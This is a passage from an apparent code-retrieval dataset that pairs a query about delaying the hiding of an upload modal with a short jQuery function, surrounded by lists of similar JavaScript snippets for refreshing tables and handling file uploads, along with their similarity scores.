$('#lista-actividad').DataTable();\n tabla.ajax.reload();\n}", "function RefreshDashboardWidgets()\n{\n //for(var i=1;i<=3;i++){ \n for(var i=1;i<=SavedQueryIds.length;i++){ \n \n //Clean the slate. Set loading\n $('#table'+i).removeClass('active');\n $('#piechart'+i).removeClass('active');\n $('#table_li'+i).removeClass('active');\n $('#piechart_li'+i).removeClass('active');\n $('#loading'+i).addClass('active');\n //Set short notes\n //$('#viewinCont'+i).text(\"XXXXXXXXXXXXXX\");\n \n //Create pie chart\n getWidgetChart(SavedQueryIds[i-1],i);\n \n //Fetch photos\n if(DashboardImages=='No') {\n $('#images_li'+i).css(\"display\", \"none\");\n } else {\n getWidgetPhotos(\"tags like '%\"+SavedQueryIds[i-1]+\"%'\", SavedQueryIds[i-1],i);\n } \n \n //Fetch table\n getWidgetTable(\"\",SavedQueryIds[i-1],i);\n \n //Fetch Notes\n submitNote(\"\",i); \n } \n}", "function refreshCount() {\n // get count of all tables\n var countAllTasks = $('#Table_AllTasks').dataTable().fnGetData().length;\n var countInProgress = $('#Table_inProgress').dataTable().fnGetData().length;\n var countArchived = $('#Table_Archived').dataTable().fnGetData().length;\n var countCompleted = $('#Table_Completed').dataTable().fnGetData().length;\n\n $('#allTasksCount').html(countAllTasks);\n $('#inProgressCount').html(countInProgress);\n $('#archivedCount').html(countArchived);\n $('#completedCount').html(countCompleted);\n\n // refresh progressBar\n var count = 1;\n if (countAllTasks != 0) {\n count = (countAllTasks - countInProgress) / countAllTasks;\n }\n $('#progressBarSideBar').attr('style', 'width:' + count + '00%');\n\n}", "refresh() {\n // Refresh the source list.\n this.clear();\n this.load();\n }", "function updateTable(basicWrappedRequest)\n{\n movieTableDataList = []; //This hardcoding and use of a global variable likely is not ideal\n for(var i = 0; i < TABLE_MAX_LENGTH; i++)\n {\n var row = document.getElementById(\"movieTable\").rows[i + 1];\n if(i < Object.keys(basicWrappedRequest).length)\n {\n row.cells[0].textContent = basicWrappedRequest[i].title;\n var popularityText = basicWrappedRequest[i].popularity;\n row.cells[1].textContent = popularityText.substr(0, popularityText.indexOf('.') + 3);\n var overviewLine = row.cells[2].firstChild;\n var overviewDiv = row.cells[2].lastChild;\n overviewDiv.textContent = basicWrappedRequest[i].overview;\n overviewLine.textContent = basicWrappedRequest[i].overview;\n row.setAttribute(\"style\", \"\"); //Unhide if set to invisible\n movieTableDataList.push(basicWrappedRequest[i]);\n }\n else\n {\n row.setAttribute(\"style\", \"display: none\");\n }\n }\n}", "function Handle_SBR_show_all() {\n console.log(\"===== Handle_SBR_show_all ========\");\n\n b_clear_dict(selected);\n\n setting_dict.sel_lvlbase_pk = null;\n setting_dict.sel_lvlbase_code = null;\n\n el_SBR_select_level.value = null;\n\n// --- reset table\n tblHead_datatable.innerText = null;\n tblBody_datatable.innerText = null;\n\n// --- reset SBR_item_count\n el_SBR_item_count.innerText = null;\n\n// --- upload new setting and refresh page\n const request_item_setting = {\n page: \"page_corrector\",\n sel_lvlbase_pk: -9\n };\n DatalistDownload(request_item_setting);\n }", "function _refresh() {\n $('body[role=\"application\"] section[role=\"region\"] > header h1').last().html(_venue.get('name'));\n $('section div[role=\"main\"]').last().html(_.template(template, _venue));\n $('button.recommend').one('click', _checkin);\n }", "function refresh(id) {\n for (var i = 0; i < grids.length; i++) {\n\n var img = grids[i].srcImage;\n grids[i].srcImage = '';\n grids[i].srcImage = grids[i].url + '?timestamp=' + getTimeStamp();\n\n }\n}", "function buildListing(){\n\tvar c_ads_library = Alloy.createCollection('categoryAds'); \n\tvar ads = c_ads_library.getLatestAdsByCategory(0, ads_counter, 999, _.pluck(favorites, \"m_id\"));\n\t \n\tif(ads.length <= 0){\n\t\tactivityIndicator.hide();\n\t\t$.ads_listing.remove(activityIndicator);\n\t\tbuild_no_ads_logo(_.pluck(favorites, \"m_id\"));\n\t\treturn;\t\n\t}\n\tads_counter += 999;\n\tfor(var a = 0; ads.length > a; a++){\n\t\t\n\t\tvar tbr = Ti.UI.createTableViewRow({\n\t\t\theight: Ti.UI.SIZE,\n\t\t\tselectedBackgroundColor: \"#FFE1E1\"\n\t\t});\n\t\t\n\t\tvar view_ad = $.UI.create(\"View\",{\n\t\t\tbottom: 10,\n\t\t\tleft: 10,\n\t\t\tright: 10,\n\t\t\tlayout: \"vertical\",\n\t\t\tm_id: ads[a].m_id,\n\t\t \ta_id: ads[a].a_id,\n\t\t \twidth : Ti.UI.FILL,\n\t\t \theight: Ti.UI.SIZE,\n\t\t\tbackgroundColor: \"#ffffff\",\n\t\t\tborderColor: \"#C6C8CA\",\n\t\t\tborderRadius:4,\n\t\t});\n\t\t\n\t\tif(ads[a].youtube != \"\" && ads[a].youtube != null){\n\t\t\tvar bannerImage = Ti.UI.createView({\n\t\t\t\twidth : Ti.UI.FILL,\n\t\t\t\theight: 200,\n\t\t\t\tbackgroundColor: \"#ffffff\",\n\t\t\t\tborderColor: \"#C6C8CA\",\n\t\t\t\tborderRadius:4,\n\t\t\t});\n\t\t\tvar webView = Ti.UI.createWebView({\n\t\t\t url: 'http://www.youtube.com/embed/'+ads[a].youtube+'?autoplay=1&autohide=1&cc_load_policy=0&color=white&controls=0&fs=0&iv_load_policy=3&modestbranding=1&rel=0&showinfo=0',\n\t\t\t enableZoomControls: false,\n\t\t\t scalesPageToFit: false,\n\t\t\t scrollsToTop: false,\n\t\t\t scalesPageToFit :true,\n\t\t\t disableBounce: true,\n\t\t\t showScrollbars: false\n\t\t\t});\n\t\t\tbannerImage.add(webView);\n\t\t}else{\n\t\t\tvar bannerImage = Ti.UI.createImageView({\n\t\t \t defaultImage: \"/images/warm-grey-bg.png\",\n\t\t\t image :ads[a].img_path,\n\t\t\t width : Ti.UI.FILL,\n\t\t\t m_id: ads[a].m_id,\n\t\t\t a_id: ads[a].a_id,\n\t\t\t height: Ti.UI.SIZE,//ads_height,\n\t\t\t});\n\t\t}\n\t\t\n\t\t\n\t\tvar label_merchant = $.UI.create(\"Label\", {\n\t\t\tfont: { fontWeight: 'bold', fontSize: 16},\n\t\t\ttext: ads[a].merchant,\n\t\t\ttop: 10,\n\t\t\tleft: 10,\n\t\t\tright: 10,\n\t\t\ttextAlign: Titanium.UI.TEXT_ALIGNMENT_LEFT,\n\t\t\twidth: Ti.UI.FILL,\n\t\t\theight: Ti.UI.SIZE,\n\t\t\tcolor: \"#404041\"\n\t\t});\n\t\t\n\t\tvar label_ads_name = $.UI.create(\"Label\", {\n\t\t\ttext: ads[a].ads_name,\n\t\t\tleft: 10,\n\t\t\tright: 10,\n\t\t\tfont: {fontSize: 14},\n\t\t\ttextAlign: Titanium.UI.TEXT_ALIGNMENT_LEFT,\n\t\t\twidth: Ti.UI.FILL,\n\t\t\theight: Ti.UI.SIZE,\n\t\t\tcolor: \"#626366\"\n\t\t});\n\t\t\n\t\tvar dateDescription = ads[a].active_date+\" - \"+ads[a].expired_date;\n\t\tif(ads[a].active_date == \"0000-00-00\" && ads[a].expired_date ==\"0000-00-00\"){\n\t\t\tdateDescription = \"Start from now!\";\n\t\t}else if(ads[a].active_date == \"0000-00-00\" && ads[a].expired_date !=\"0000-00-00\"){\n\t\t\tdateDescription = \"Until \"+ads[a].expired_date+\"!\";\n\t\t}else if(ads[a].active_date != \"0000-00-00\" && ads[a].expired_date ==\"0000-00-00\"){\n\t\t\tdateDescription = \"Start from \"+ads[a].active_date+\"!\";\n\t\t}\n\t\tvar label_date_period = $.UI.create(\"Label\", {\n\t\t\ttext: dateDescription,\n\t\t\ttextAlign: Titanium.UI.TEXT_ALIGNMENT_LEFT,\n\t\t\tfont:{fontSize: 12},\n\t\t\tleft: 10,\n\t\t\tright: 10,\n\t\t\tbottom: 10,\n\t\t\twidth: Ti.UI.FILL,\n\t\t\theight: Ti.UI.SIZE,\n\t\t\tcolor: \"#ED1C24\"\n\t\t});\n\t\t\n\t\tvar line = $.UI.create(\"View\",{\n\t\t\tbackgroundColor: \"#C6C8CA\",\n\t\t\theight: 0.5,\n\t\t\twidth: Ti.UI.FILL\n\t\t});\n\t\t\n\t\tview_ad.add(bannerImage);\n\t\tview_ad.add(line);\n\t\tview_ad.add(label_merchant);\n\t\tview_ad.add(label_ads_name);\n\t\tview_ad.add(label_date_period);\n\t\ttbr.add(view_ad);\n\t\t$.ads_listing.appendRow(tbr);\n\n\t\tbannerImage.addEventListener('load', function(e){\n\t\t\tactivityIndicator.hide();\n\t\t\t$.ads_listing.remove(activityIndicator);\n\t\t});\n\t\t\n\t\tsetTimeout(function(e){\n\t\t\tloading = false;\n\t\t}, 1000);\n\t\t\n\t\tif(ads[a].youtube == \"\"){ \n\t\t\tbannerImage.addEventListener('click', function(e) {\n\t\t\t \tgoAd(e.source.m_id);\n\t\t\t});\n\t\t}\n\t}\n\tsetTimeout(function(e){\n\t\tactivityIndicator.hide();\n\t\t$.ads_listing.remove(activityIndicator);\n\t\tloading = false;\n\t\tconsole.log(\"remove indicator\");\n\t}, 1000);\n\t\n\tvar no_ads = _.difference(_.pluck(favorites, \"m_id\"), _.pluck(ads, \"m_id\"));\n\tvar no_ads_tbr = build_no_ads_logo(no_ads);\n\tconsole.log(no_ads_tbr);\n\tconsole.log(\"no_ads_tbr\");\n\t$.ads_listing.appendRow(no_ads_tbr);\n}", "function updateTable() {\n\t_formatDatepicker();\n\t_updateTable('table-internal-order', true);\n\t_autoFormattingDate(\"input.datepicker\");\n}", "function updateTable() {\n\t// Check if plcs finished loading\n\tfor (var i = 0; i < g_plcs.length; ++i) {\n\t\tif (g_plcs[i].err) {\n\t\t\tmoduleStatus(\"Error querying table\");\n\t\t\treturn false;\n\t\t}\n\t\tif (g_plcs[i].ready != READY_ALL) return false;\n\t}\n\n\t$(\"#detail-table-body\").html(\"\");\n\n\tfor (var i = 0; i < g_plcs.length; ++i) {\n\t\tvar row_name = \"detail-table-row-\" + i;\n\t\t$(\"#detail-table-body\").append(\"<tr id = '\" + row_name + \"'>\");\n\n\t\t$(\"#\" + row_name).append(\"<td>\" + g_plcs[i].name + \"</td>\");\n\n\t\tfor (var j = 0; j < 6; ++j)\n\t\t\t$(\"#\" + row_name).append(\"<td data-toggle='tooltip' data-placement='top' title='\" + g_plcs[i].ai[j].name + \"'>\" + g_plcs[i].ai[j].val + \"</td>\");\n\n\t\tfor (var j = 0; j < 6; ++j)\n\t\t\t$(\"#\" + row_name).append(\"<td data-toggle='tooltip' data-placement='top' title='\" + g_plcs[i].di[j].name + \"'>\" + g_plcs[i].di[j].val + \"</td>\");\n\n\t\tfor (var j = 0; j < 6; ++j) {\n\t\t\tdo_val = g_plcs[i].do[j].val ? \"ON\" : \"OFF\";\n\t\t\tdo_class = \"btn do-button \" + (g_plcs[i].do[j].val ? \"btn-success\" : \"btn-secondary\");\n\t\t\tdo_txt = \"<button data-do-index = \" + j + \" data-plc-index = \" + i + \" data-do-value = \" + g_plcs[i].do[j].val + \" type = 'button' class = '\" + do_class + \"'>\" + do_val + \"</button>\";\n\t\t\t$(\"#\" + row_name).append(\"<td data-toggle='tooltip' data-placement='top' title='\" + g_plcs[i].do[j].name + \"'>\" + do_txt + \"</td>\");\n\t\t}\n\t\tconf_val = g_plcs[i].confirmation ? \"Pend\" : \"OK\";\n\t\tconf_class = \"btn \" + (g_plcs[i].confirmation ? \"btn-warning\" : \"btn-info\")\n\t\t$(\"#\" + row_name).append(\"<td><button type = 'button' class = '\" + conf_class + \"'>\" + conf_val + \"</button></td>\");\n\n\t\t$(\"#\" + row_name).append(\"<td><button data-plc-index = \" + i + \" type = 'button' class = 'send-button btn btn-light'> Enviar </button></td>\");\n\t}\n\t$('[data-toggle=\"tooltip\"]').tooltip({trigger : 'hover'});\n\tmoduleStatus(\"Table query OK\");\n}", "function initBanners() {\n\t\n\tbannersPath = $('#banners-link a').attr('href');\t// get path to banners file\n\t$('#banners-link').remove(); \t\t\t\t\t\t// since js is on, remove banners link\t\n}", "function refreshContent(){\n $('#gap_fluxo').load(document.URL + ' #gap_fluxo');\n $('#panel0').load(document.URL + ' #panel0');\n $('#panel1').load(document.URL + ' #panel1');\n $('#panelEspera').load(document.URL + ' #panelEspera');\n }", "function showTempBlabs() {\n //Send the blabs to the table\n $(\"#feed\").prepend(temp_blabs_as_string);\n\t\n //Reset the temp blabs\n temp_blabs = null;\n\t\n //Reset the number of temp blabs\n totalNUpdates = 0;\n\t\n //Hide the link to show temporary blabs, as we have none now.\n $(\"#pending\").hide();\n\t\n //Recalculate the times on the blabs.\n recalculateTimes();\n\t\n //Update the blabs so that they are thumb-up-able.\n updateThumbsUp();\n}", "function loadBrand() {\n $.ajax({\n url: 'allBrand',\n type: 'GET',\n success: function(data) {\n $('#brandTable').html(data);\n }\n });\n }", "function refreshServerBulkTable() {\n\n clearTable('bulkImportStatus');\n\n /* Get the bulk import value obtained earlier, if it doesn't exists,\n * create an empty array\n */\n var data = sessionStorage.bulkImports === undefined ?\n [] : JSON.parse(sessionStorage.bulkImports);\n var items = [];\n\n /* If the data is empty, create an empty row, otherwise\n * create the rows for the table\n */\n if (data.length === 0 || data.tabletServerBulkImport.length === 0) {\n items.push(createEmptyRow(3, 'Empty'));\n } else {\n $.each(data.tabletServerBulkImport, function(key, val) {\n items.push(createFirstCell(val.server, '<a href=\"/tservers?s=' +\n val.server + '\">' + val.server + '</a>'));\n items.push(createRightCell(val.importSize, val.importSize));\n items.push(createRightCell(val.oldestAge, (val.oldestAge > 0 ?\n val.oldestAge : '&mdash;')));\n });\n }\n\n $('<tr/>', {\n html: items.join('')\n }).appendTo('#bulkImportStatus');\n}", "draw() {\r\n // IDs Template: _box, _title, _refresh, _popup, _body, _loading\r\n // IDs Widget: _table\r\n var body = \"#\"+this.id+\"_body\"\r\n // add table\r\n // 0: key\r\n // 1: size\r\n // 2: start\r\n // 3: end\r\n // 4: value\r\n var table = '\\\r\n <table id=\"'+this.id+'_table\" class=\"table table-bordered table-striped\">\\\r\n <thead>\\\r\n <tr><th>Key</th><th># Entries</th><th>Oldest</th><th>Newest</th><th>Latest Value</th></tr>\\\r\n </thead>\\\r\n <tbody></tbody>\\\r\n </table>'\r\n $(body).html(table)\r\n // how to render the timestamp\r\n function render_timestamp(data, type, row, meta) {\r\n if (type == \"display\") return gui.date.timestamp_difference(gui.date.now(), data)\r\n else return data\r\n };\r\n // define datatables options\r\n var options = {\r\n \"responsive\": true,\r\n \"dom\": \"Zlfrtip\",\r\n \"fixedColumns\": false,\r\n \"paging\": true,\r\n \"lengthChange\": false,\r\n \"searching\": true,\r\n \"ordering\": true,\r\n \"info\": true,\r\n \"autoWidth\": false,\r\n \"columnDefs\": [ \r\n {\r\n \"targets\" : [2, 3],\r\n \"render\": render_timestamp,\r\n },\r\n {\r\n \"className\": \"dt-center\",\r\n \"targets\": [1, 2, 3]\r\n }\r\n ],\r\n \"language\": {\r\n \"emptyTable\": '<span id=\"'+this.id+'_table_text\"></span>'\r\n }\r\n };\r\n // create the table\r\n $(\"#\"+this.id+\"_table\").DataTable(options);\r\n $(\"#\"+this.id+\"_table_text\").html('<i class=\"fas fa-spinner fa-spin\"></i> Loading')\r\n // ask the database for statistics\r\n var message = new Message(gui)\r\n message.recipient = \"controller/db\"\r\n message.command = \"STATS\"\r\n this.send(message)\r\n }", "function ReloadTable(id) {\n $('#ImageRois-' + id).find('tbody').find('tr').remove();\n LoadRoiTable(id);\n}" ]
[ "0.68356264", "0.63887155", "0.633209", "0.62662894", "0.62347686", "0.62125695", "0.62038743", "0.61487585", "0.61084926", "0.60082346", "0.59645474", "0.59429735", "0.5915868", "0.59062", "0.58778495", "0.58699644", "0.586978", "0.58600825", "0.584114", "0.58376235", "0.5831501", "0.5799503", "0.579437", "0.5783875", "0.57573044", "0.5730962", "0.5726812", "0.5726346", "0.57241935", "0.57192385", "0.5717276", "0.5702749", "0.5695552", "0.5690645", "0.5680778", "0.5670203", "0.5655669", "0.56544596", "0.56542444", "0.5650523", "0.5645412", "0.56428194", "0.56397164", "0.5639556", "0.5614424", "0.5610833", "0.55968815", "0.5584157", "0.5577663", "0.55692", "0.55561036", "0.55478734", "0.55419177", "0.55409473", "0.5532978", "0.5516981", "0.5506059", "0.5487907", "0.5482532", "0.546299", "0.54518455", "0.54499215", "0.54477394", "0.54460543", "0.54292107", "0.5428152", "0.5423819", "0.5422789", "0.54171777", "0.541392", "0.54106975", "0.54100895", "0.54100895", "0.5398948", "0.5397939", "0.53967255", "0.5391781", "0.53892213", "0.53757566", "0.53742397", "0.53702825", "0.5369219", "0.53664565", "0.53657883", "0.5361745", "0.536062", "0.5360489", "0.5360417", "0.53549206", "0.53520435", "0.5351003", "0.5343475", "0.53400576", "0.53322285", "0.5330513", "0.5328022", "0.53248656", "0.532288", "0.5316198", "0.5312941" ]
0.72958624
0
Suppress upload modal combats hanging on the "fade" effect
function hide_upload_modal(){ setTimeout( function(){ $('#uploading_file_popup').modal('hide') },500 ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function modalHideUpload() {\n\t\n\t//console.log('hello !')\n\t\n\t$('#fade-wall').fadeTo(218, 0, function() {\n\t\t$('#fade-wall').css('display', 'none');\n\t});\n\t$('#modal-upload').fadeTo(218, 0, function() {\n\t\t$('#modal-upload').css('display', 'none');\n\t});\n\t$('#modal-meta').fadeTo(218, 0, function() {\n\t\t$('#modal-meta').empty();\n\t\t$('#modal-meta').css('display', 'none');\n\t});\n\t\n\t$('#modal-newdir').fadeTo(218, 0, function() {\n\t\t$('#modal-newdir').css('display', 'none');\n\t});\n\t\n\t$('#modal-pref').fadeTo(218, 0, function() {\n\t\t$('#modal-pref').css('display', 'none');\n\t});\n}", "function modalShowUpload() {\n\t\n/*\t$('#modal-upload').fadeTo(218, 1);\n\t$('#fade-wall').fadeTo(218, 1);\n\t$('#modal-upload .uploadcontainer').fadeTo(218, 1);\n*/\n\n\t$('#modal-upload, #fade-wall, #modal-upload .uploadcontainer').fadeTo(218, 1);\n\n\t// Ban safari 5\n\tisSafari\t\t= (/safari/.test(navigator.userAgent.toLowerCase())) ? true : false;\n\tisSafariFive\t= (isSafari && /version\\/5/.test(navigator.userAgent.toLowerCase())) ? true : false;\n\t\n\t/* Mettre a jour les path d'upload si déjà chargé */\n\tvar uploadPath\t= $('#path').attr('data-url');\n\n\t// SI ON A ACCES AU FILEREADER DU BROWSER\n\tif(typeof FileReader !== 'undefined' && !isSafariFive) {\n\t\t\n\t\t// NE PAS LANCER PLUSIEURES INSTANCES\n\t\tif (typeof($('#modal-upload .uploadcontainer #file_upload').data('uploadifive')) === \"undefined\") {\n\t\t\t\n\t\t\t// SI LA MODAL EST ACTIVEE SUR UPLOADIFY ALORS QU'ON DROP, DESTROY\n\t\t\tif(typeof($('#modal-upload .uploadcontainer #file_upload').data('uploadify')) === \"object\") {\n\t\t\t\t$('#modal-upload .uploadcontainer #file_upload').uploadify('destroy');\n\t\t\t}\n\t\t\t\n\t\t\t$('#modal-upload .uploadcontainer #file_upload').uploadifive({\n\t\t\t\t'buttonText' : 'Parcourir',\n\t\t\t\t'auto' : true,\n\t\t\t\t'formData' : {'test' : 'something'},\n\t\t\t\t'queueID' : 'queue',\n\t\t\t\t'uploadScript' : 'helper/upload-action?f='+uploadPath,\n\t\t\t\t'onSelect' : function(event,ID,fileObj) {\n\t\t\t\t},\n\t\t\t\t'onDrop' : function(file, count) {\n\t\t\t\t},\n\t\t\t\t'onUploadComplete' : function(file, data) {\n\t\t\t\t},\n\t\t\t\t'onQueueComplete' : function() {\t\t\t\t\t\n\t\t\t\t\tmodalHideUpload();\n\t\t\t\t\tfolderView(true);\n\t\t\t\t\tisDrag = false;\n\t\t\t\t\t$('#queue').empty();\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}else\n\tif(!isSafariFive) {\n\t\t// SUCKERS\n\t\t// NE PAS LANCER PLUSIEURES INSTANCES\n\t\tif (typeof($('#modal-upload .uploadcontainer #file_upload').data('uploadify')) === \"undefined\") {\n\t\t\n\t\t\t// SI LA MODAL EST ACTIVEE SUR UPLOADIFIVE ALORS QU'ON DROP, DESTROY\n\t\t\tif (typeof($('#modal-upload .uploadcontainer #file_upload').data('uploadifive')) === \"object\") {\n\t\t\t\t$('#modal-upload .uploadcontainer #file_upload').uploadifive('destroy');\n\t\t\t}\n\t\t\t\t\t\n\t $('#file_upload').uploadify({\n\t\t\t\t'swf' : '/admin/media/ui/_uploadify/uploadify.swf?phpsessid='+phpsid,\n\t\t\t\t'auto' : true,\n\t\t\t\t'formData' : {'test' : 'something'},\n\t 'uploader' : 'helper/upload-action?f='+$('#path').attr('data-url'),\n\t 'width' : 100,\n\t 'buttonText' : 'Parcourir',\n\t\t\t\t'onUploadComplete' : function(file) {\n\t\t\t\t},\n\t\t\t\t'onQueueComplete' : function() {\n\t\t\t\t\tmodalHideUpload();\n\t\t\t\t\tfolderView(true);\n\t\t\t\t\tisDrag = false;\n\t\t\t\t\t$('#queue').empty();\n\t\t\t\t},\n\t\t\t\t'onUploadSuccess' : function(file, data, response) {\n\t\t\t\t},\n\t\t\t\t'onInit' : function(instance) {\n\t\t\t\t\t// déplacer la queue dans le container\n\t\t\t\t\t$('#'+instance.settings.queueID).appendTo(\"#queue\");\n\t\t\t\t},\n\t\t\t\t'onUploadError' : function(file, errorCode, errorMsg, errorString) {\n\t\t\t\t}\n\t });\n\t\t}\n\n\t}else{\n\t\talert('En raison d\\'un bug inhérent à la version de votre navigateur, l\\'upload de fichiers est indisponible. Merci de mettre à jour votre navigateur.');\n\t\tmodalHideUpload();\n\t}\n}", "function closeUpload() {\n modal.setAttribute('style', 'display: none');\n uploadPanel.setAttribute('style', 'display: none');\n previewPanel.setAttribute('style', 'display: none');\n previewPanel.removeAttribute('src');\n}", "function openUpload() {\n modal.setAttribute('style', 'display: block');\n uploadPanel.setAttribute('style', 'display: block');\n}", "fadeInDialog() {\n let drop = document.getElementById(\"modal_ink_drop\");\n if (!isNullOrUndefined(drop)) {\n drop.style.opacity = \"1\";\n }\n }", "function CancelUpload()\n{\n HideFileSelector();\n\n}", "function hideUploadDiv() {\n\tif(!processing) {\n\t\t$(\"#uploadPDFDiv\").hide();\n\t\t$(\"#menuArea, #viewArea, #officialViewer\").removeClass(\"disableButtons\");\n\t}\n}", "function showUploadDiv() {\n\t$(\"#uploadPDFDiv\").show();\n\t$(\"#progressDisplay\").text(\"\");\n\t$(\"#menuArea, #viewArea, #officialViewer\").addClass(\"disableButtons\");\n}", "function hideUploadButton() {\n return new Promise(async r => {\n if (circle.getAttribute('hidden') !== null) return r();\n const uploadIcon = document.querySelector('#upload-icon');\n if (uploadIcon.getAttribute('hidden') === null)\n await hideUploadIcon();\n const circleRadius = Math.min(350, window.innerWidth * 0.35),\n screenDiameterHalf = Math.sqrt(Math.pow(window.innerHeight, 2) + Math.pow(window.innerWidth, 2)) / 2,\n transitionTime = Math.min(300, Math.round(screenDiameterHalf/circleRadius*50));\n circle.style.transform = '';\n circle.style.transitionDuration = `${transitionTime}ms`;\n circle.style.transitionTimingFunction = 'ease-in';\n doubleRAF(() => {\n circle.style.transform = `scale(${screenDiameterHalf/circleRadius})`;\n waitForTransition(circle).then(() => {\n document.body.classList.remove('circle-on');\n circle.setAttribute('hidden', true);\n r();\n });\n });\n });\n}", "loading() {\n this.modal.jQueryModalFade.addClass('modal_fade_trick');\n this.modal.jQueryModalAwait.css('display', 'block');\n this.modal.jQueryModalWindow.css('display', 'none');\n }", "function hideOriginalBtns() {\n form.classList.remove(\"photo__form-nojs\");\n submit.classList.add(\"hidden\");\n browse.classList.add(\"off-screen\", \"photo__browse\");\n }", "function showUploadIcon() {\n if (circle.getAttribute('hidden') !== null)\n return showUploadButton();\n return new Promise(async r => {\n const uploadIcon = document.querySelector('#upload-icon');\n if (uploadIcon.getAttribute('hidden') === null)\n return r();\n uploadIcon.classList.remove('exit');\n uploadIcon.classList.add('faded-out');\n uploadIcon.removeAttribute('hidden');\n return doubleRAF(() => {\n uploadIcon.classList.remove('faded-out');\n waitForTransition(uploadIcon).then(r);\n });\n });\n}", "function panelUpload(){\n\t\n\tif ($('#modal-upload').css('display') == 'none') {\n\t\tmodalShowUpload();\n\t} else {\n\t\tmodalHideUpload();\n\t}\n\t/*if(panelView != 'upload'){\n\t\t$('#action .controls').css('display', 'none');\n\t\tpanelShow(150, 'upload');\n\t\t$('#panelFrame').attr('src', 'helper/upload?f='+folder);\n\t}else{\n\t\t$('#action .controls').css('display', 'block');\n\t\tpanelHide();\n\t}*/\n}", "function closeUpload() {\n document.getElementById(\"uploadForm\").style.display = \"none\";\n document.getElementById(\"delete\").disabled = false;\n document.getElementById(\"add\").disabled = false;\n document.getElementById(\"upload\").disabled = false;\n}", "function fnUpload() {\n\tvar mainmenu = $(\"#mainmenu\").val();\n\tvar userId = $(\"#userId\").val();\n\tvar houseId = $(\"#houseId\").val();\n\t$('#uploadPopup').load('uploadImgPopup?mainmenu='+mainmenu+'&time='+datetime+'&userId='+userId+'&houseId='+houseId);\n\t$(\"#uploadPopup\").modal({\n\t\tbackdrop: 'static',\n\t\tkeyboard: false\n\t});\n\t$('#uploadPopup').modal('show');\n}", "function showUploadButton() {\n return new Promise(async r => {\n if (circle.getAttribute('hidden') === null) return r();\n const uploadIcon = document.querySelector('#upload-icon');\n const waitForClose = [];\n if (editor) waitForClose.push(editor.close());\n if (spConsole) waitForClose.push(spConsole.close());\n const circleStylesLink = document.querySelector('link[href=\"css/circle.css\"]');\n const circleRadius = Math.min(350, window.innerWidth * 0.35),\n screenDiameterHalf = Math.sqrt(Math.pow(window.innerHeight, 2) + Math.pow(window.innerWidth, 2)) / 2,\n transitionTime = Math.min(300, Math.round(screenDiameterHalf/circleRadius*100));\n circle.style.transitionDuration = `${transitionTime}ms`;\n circle.style.transform = `scale(${screenDiameterHalf/circleRadius})`;\n uploadIcon.style.transform = `scale(${circleRadius/screenDiameterHalf})`;\n uploadIcon.style.transitionDuration = `${transitionTime}ms, ${transitionTime}ms`;\n uploadIcon.classList.add('faded-out');\n uploadIcon.classList.remove('exit');\n await onloadCSS(circleStylesLink);\n document.body.classList.add('circle-on');\n circle.removeAttribute('hidden');\n uploadIcon.removeAttribute('hidden');\n doubleRAF(() => {\n circle.style.transform = '';\n uploadIcon.style.transform = '';\n uploadIcon.style.transitionDuration = '';\n uploadIcon.classList.remove('faded-out');\n waitForTransition(circle).then(r);\n });\n });\n}", "function hideShareModal() {\n // modal animation\n $( '.celebration-cards-share-modal' ).animate( {\n opacity: 0\n }, 500, function() {\n $( '.celebration-cards-share-modal' ).css( \"display\", \"none\" );\n $('.celebration-cards-share-modal__content__cancel').css('display', 'block');\n $('.celebration-cards-share-modal__content__input').css('display', 'none');\n $('.celebration-cards-share-modal__content__input').css('opacity', '0');\n });\n }", "function hideUploadIcon() {\n return new Promise(async r => {\n const uploadIcon = document.querySelector('#upload-icon');\n if (circle.getAttribute('hidden') !== null || uploadIcon.getAttribute('hidden') !== null)\n return r();\n uploadIcon.classList.add('exit');\n uploadIcon.style.transitionTimingFunction = 'ease-in';\n return doubleRAF(() => {\n uploadIcon.classList.add('faded-out');\n waitForTransition(uploadIcon).then(() => {\n uploadIcon.setAttribute('hidden', true);\n uploadIcon.classList.remove('exit');\n uploadIcon.style.transitionTimingFunction = '';\n r();\n });\n });\n });\n}", "disableUploadUi(disabled){this.uploadButton.prop('disabled',disabled);this.addButton.prop('disabled',disabled);this.addButtonFloating.prop('disabled',disabled);this.imageCaptionInput.prop('disabled',disabled);this.overlay.toggle(disabled)}", "function up_initFileUploads(imagepath) {\n up_imagePath = imagepath;\n\n // Bug fix: show cancel button in ModalBox in safari\n var preload_cancel = new Image();\n preload_cancel.src = up_imagePath + 'cancelbutton.gif';\n\n var W3CDOM = (document.createElement && document.getElementsByTagName);\n if (!W3CDOM) return;\n var fakeFileUpload = document.createElement('div');\n fakeFileUpload.className = 'upFakeFile';\n var txt = document.createElement('input');\n txt.className = 'upFileBox';\n fakeFileUpload.appendChild(txt);\n var image = document.createElement('img');\n image.src = up_imagePath + 'selectbutton.gif';\n image.style.cursor = 'hand';\n image.style.marginLeft = '5px';\n image.className = 'upSelectButton';\n fakeFileUpload.appendChild(image);\n var x = document.getElementsByTagName('input');\n for (var i = 0; i < x.length; i++) {\n if (x[i].type != 'file') continue;\n if (x[i].parentNode.className.indexOf('upFileInputs') != 0 || x[i].relatedElement != null) continue;\n\n x[i].className = 'upFile hidden';\n var clone = fakeFileUpload.cloneNode(true);\n x[i].parentNode.appendChild(clone);\n x[i].relatedElement = clone.getElementsByTagName('input')[0];\n x[i].onchange = x[i].onmouseout = function() {\n if (this.cleared || this.value == '') return;\n\n var val = this.value;\n val = val.substr(val.lastIndexOf('\\\\') + 1, val.length);\n val = val.substr(val.lastIndexOf('/') + 1, val.length);\n this.relatedElement.value = val;\n }\n }\n}", "function changePhotoConfirmation(){\n\t$(\"body\").css(\"pointer-events\",\"none\");\n\t$(\"#changeConfirmationBox\").fadeIn();\n}", "function jb_upload_attach(files, input, evt) {\n var readAttach = function(o) {\n //var input = event.target;\n var reader = new FileReader();\n reader.onload = function() {\n var dataURL = reader.result;\n var container = $('#at_upload_' + o);\n var output = container.find('img')[0]; //container.find('.img_fak')[0];\n if(container.length == 0) return false;\n output.src = dataURL;\n // output.style.backgroundImage = 'url('+dataURL+')';\n container.find('.__uploadingInfo')\n .addClass('__off');\n container.find('.uploading_ovr')\n .addClass('__on');\n setTimeout(function() {\n container.find('.uploading_ovr.__on,.pup_bar_m_upload')\n .remove();\n }, 1500);\n };\n reader.readAsDataURL(files[o]);\n }\n var count = 0;\n var totalFiles = files.length;\n var jb_rd_btn = $('.jb_ready_btn'),\n jb_files_to_app = $('.jb_attached_files');\n var 